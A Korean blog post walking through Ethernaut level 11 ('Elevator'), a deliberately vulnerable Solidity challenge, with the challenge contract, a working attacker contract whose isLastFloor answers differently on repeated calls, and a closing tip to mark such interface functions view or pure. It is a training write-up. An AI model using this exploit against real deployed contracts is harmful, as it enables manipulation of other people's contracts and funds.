Don't think! Just do it!

종합 IT 기술 정체성 카오스 블로그! 이... 이곳은 어디지?

Smart contract/Ethernaut 문제풀이

Ethernaut 문제풀이 #11 - Elevator

방피터 2022. 2. 28. 16:36

11번 문제입니다. 이 엘레베이터는 당신이 빌딩의 꼭대기까지 올라가는 것을 허락하지 않는다는군요.

힌트로 두 문장을 주는데요.

  • 가끔씩 솔리디티는 약속들을 지키기에는 좋지 못하다.
  • 이 엘레베이터는 빌딩에서 사용될 것으로 예상된다.

 

무슨 소리일까요? 저도 잘 모르겠습니다. 코드부터 보시죠.

 

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);//빌딩 컨트렉트의 인터페이스
}

contract Elevator {//엘레베이터 컨트렉트
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {//올라갑니다~
    Building building = Building(msg.sender);//msg.sender가 컨트랙트여야 함

    if (! building.isLastFloor(_floor)) {//입력된 층이 마지막 층이 아니라면
      floor = _floor;//아니라면 층을 업데이트 합니다.
      top = building.isLastFloor(floor);//이렇게 되면 탑은 항상 false가 되겠네요.
    }
  }
}

 

 

위 코드중에서 goTo 함수는 다른 컨트랙트에 의해서만 수행될 수 있을 것 같습니다. msg.sender를 Building 컨트랙트의 주소로 사용하고 있으니까요. Building 컨트랙트를 하나 만들고 인터페이스와 똑같은 형식의 함수 isLastFloor 함수를 만들어야 하는데요. 두 번 실행하면 무조건 true를 반환하도록 코드를 작성하면 top은 언제나 true가 되겠네요.

 

그럼 remix에 코딩을 시작합시다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Elevator{
    function goTo(uint) external;
}

contract Building {
  address public owner;
  uint public lastfloor;
  
  Elevator elevator;
  
  constructor(address _target) public {
      owner = msg.sender;//버릇 처럼 쓰는 내거
  	  lastfloor = 1024;//아무거나 lastfloor
      elevator = Elevator(_target);
  }
  
  function isLastFloor(uint floor) external returns (bool){
      if(floor == lastfloor){//입력된 floor가 lastfloor와 같다면 true 리턴
          return true;
      } else {
          lastfloor = floor;//아니라면 빌딩 높이를 입력된 층이랑 동일하게 변경
          return false;//false 리턴
      }
  }
  
  function execGoTo(uint floor) public {
      elevator.goTo(floor);
  }
}

 

설명은 코드에 주석을 참고하시면 될 것 같아요. 핵심은 isLastFloor가 2번 수행되면 무조건 true를 수행한다는 것이죠 후후. 암튼 Elevator의 주소와 함께 배포하시고 execGoTo를 아무 원하는 숫자와 함께 실행시켜보세요.

 

 

그리고 콘솔에서 floor()은 입력한 층으로 top() 은 true로 출력되는 것을 확인하실 수 있습니다.

 

 

이번 레벨은 어렵지 않게 끝난 것 같아요. 이제 제출하면 완료입니다.

 

 

function에 view나 pure modifier를 사용하면 state가 변하는 것을 막을 수 있습니다. 즉 데이터가 저장되거나 변경되지 않는다는 것을 의미하는데요.  아래 코드처럼 view나 혹은 pure로 선언해두었다면 제가 상태가 데이터가 변경되는 컨트랙트를 이용할 수 없었겠죠?

 

interface Building {
  function isLastFloor(uint) external view returns (bool);//빌딩 컨트렉트의 인터페이스
}

 

오늘의 교훈!!

데이터가 변하는 것을 원하지 않으면 view 나 pure로 선언하자!

 

레벨 12에서 만나요~

안녕~!

 

반응형